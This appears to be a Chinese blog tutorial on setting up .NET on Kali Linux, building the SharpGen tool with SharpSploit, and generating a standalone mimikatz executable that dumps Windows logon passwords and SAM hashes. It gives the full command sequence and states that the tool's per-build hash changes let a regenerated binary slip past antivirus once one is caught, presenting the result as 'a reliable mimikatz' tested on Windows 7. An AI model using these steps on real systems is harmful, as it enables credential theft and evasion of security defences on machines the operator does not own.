最近我找到了一个方法,应当还不错。
kali2024.1安装后,先升级一下:
sudo apt update
(图片来自网络侵删)sudo apt full-upgrade
会自动装上donet 6.0。我们可以查看一下版本:dotnet --list-sdks
我是又升级了到8.0了,如果只你看本文并不需要升级。如果想升级到8.0,可以如下命令:
步骤 1:添加 Microsoft 包签名密钥和软件包源打开终端,并运行以下命令来添加 Microsoft 的公钥,并注册其包源:
wget https://packages.microsoft.com/config/ubuntu/22.04/packages-microsoft-prod.deb -O packages-microsoft-prod.deb
sudo dpkg -i packages-microsoft-prod.deb
步骤 2:安装所需的依赖项使用以下命令来更新包列表并安装依赖项,确保系统中含有必要的库:
sudo apt update
sudo apt install -y apt-transport-https && sudo apt update
步骤 3:安装 .NET根据您的需求选择安装 .NET SDK 或者只安装运行时 (Runtime)。.NET SDK 包括了运行时,并且用于开发应用。如果只需要运行应用,则安装运行时即可。
安装 .NET SDK:sudo apt-get install -y dotnet-sdk-8.0只安装 .NET Runtime:
sudo apt-get install -y dotnet-runtime-8.0
下载安装并编译SharpGen:
git clone https://github.com/cobbr/SharpGencd SharpGendotnet build --configuration Release
但这时你安装的SharpGen是支持.net 20,和我们的kali环境不符。我们进入SharpGen目录,修改为.net 6.0
执行命令:sudo leafpad SharpGen.csproj
修改为:<PropertyGroup> <TargetFramework>net6.0</TargetFramework> </PropertyGroup>
更新 NuGet 包:
在项目目录中运行:dotnet restore
再重新编译一下:dotnet build --configuration Release
我们就编译完成了home/kali/SharpGen/bin/Release/net6.0/SharpGen.dll,运行一下看下:
SharpGen默认集成了SharpSploit(https://github.com/cobbr/SharpSploit),能够直接调用其中的功能。SharpGen使用了Rosyln进行动态编译,每次生成的文件hash都会不一样,这样我们被杀了一个还可以重新生成一个。
我们直接来生成一个抓取密码的mimikatz的单文件:
dotnet /home/kali/SharpGen/bin/Release/net6.0/SharpGen.dll -f example.exe "Console.WriteLine(Mimikatz.LogonPasswords());
这样你就得到了一个可靠的mimikatz。当然,它还支持SharpSploit其它的功能,类似:Command("privilege::debug lsadump::sam").等,具体你可以去看下。
我在win7上测试结果: